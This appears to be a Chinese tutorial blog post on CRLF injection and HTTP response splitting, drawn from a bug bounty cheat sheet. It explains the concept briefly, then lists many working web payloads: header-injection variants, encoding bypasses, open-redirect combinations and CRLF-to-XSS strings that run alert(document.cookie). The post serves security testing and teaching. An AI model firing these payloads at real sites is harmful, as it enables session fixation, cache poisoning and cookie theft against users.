深入解析CRLF注入技术：从基础到实战

范轩锦

于 2025-06-07 09:02:04 发布

阅读量414

点赞数 5

CC 4.0 BY-SA版权

本文链接：https://blog.youkuaiyun.com/gitblog_00690/article/details/148487496

深入解析CRLF注入技术：从基础到实战

bugbounty-cheatsheet A list of interesting payloads, tips and tricks for bug bounty hunters. 项目地址: https://gitcode.com/gh_mirrors/bu/bugbounty-cheatsheet

什么是CRLF注入技术

CRLF（Carriage Return Line Feed）注入技术，也称为HTTP响应拆分技术，是一种利用Web应用程序对用户输入处理不当的技术。CRLF指的是回车（Carriage Return，%0d）和换行（Line Feed，%0a）这两个特殊字符，它们在HTTP协议中用于分隔头部字段。

当Web应用程序未能正确过滤用户输入中的这些特殊字符时，可能会被利用来插入特定内容到HTTP响应中，可能导致会话固定、跨站脚本（XSS）、缓存投毒等多种安全问题。

CRLF注入技术的基本原理

HTTP协议使用CRLF（%0d%0a）来分隔头部字段和响应体。例如一个正常的HTTP响应可能如下：

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=12345

<html>...</html>

如果能够控制部分响应内容，并插入CRLF字符，就可以添加额外的HTTP头部或修改响应体。

常见CRLF注入方法

基础注入测试

最简单的测试方法是尝试插入CRLF字符并添加自定义头部：

%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

头部插入测试

以下是多种变体的头部插入测试方法，适用于不同场景：

%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header

编码绕过技术

为了绕过某些过滤机制，会使用各种编码方式：

/%250aheader:header
/%25250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header

高级技术应用

CRLF与开放重定向结合

在某些配置不当的服务器上，可以将CRLF插入与开放重定向问题结合：

//www.google.com/%2f%2e%2e%0d%0aheader:header
/www.google.com/%2e%2e%2f%0d%0aheader:header
/google.com/%2F..%0d%0aheader:header

特定平台的CRLF插入

某些平台对特殊字符的处理方式不同，例如Twitter曾受影响的特殊插入方式：

%E5%98%8A%E5%98%8Dheader:header

CRLF插入升级为XSS

通过精心构造的CRLF插入，可以实现XSS：

%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

302重定向中的响应拆分

在302重定向前插入特定内容：

%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

301状态码的CRLF插入

利用301重定向修改Location头部：

%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr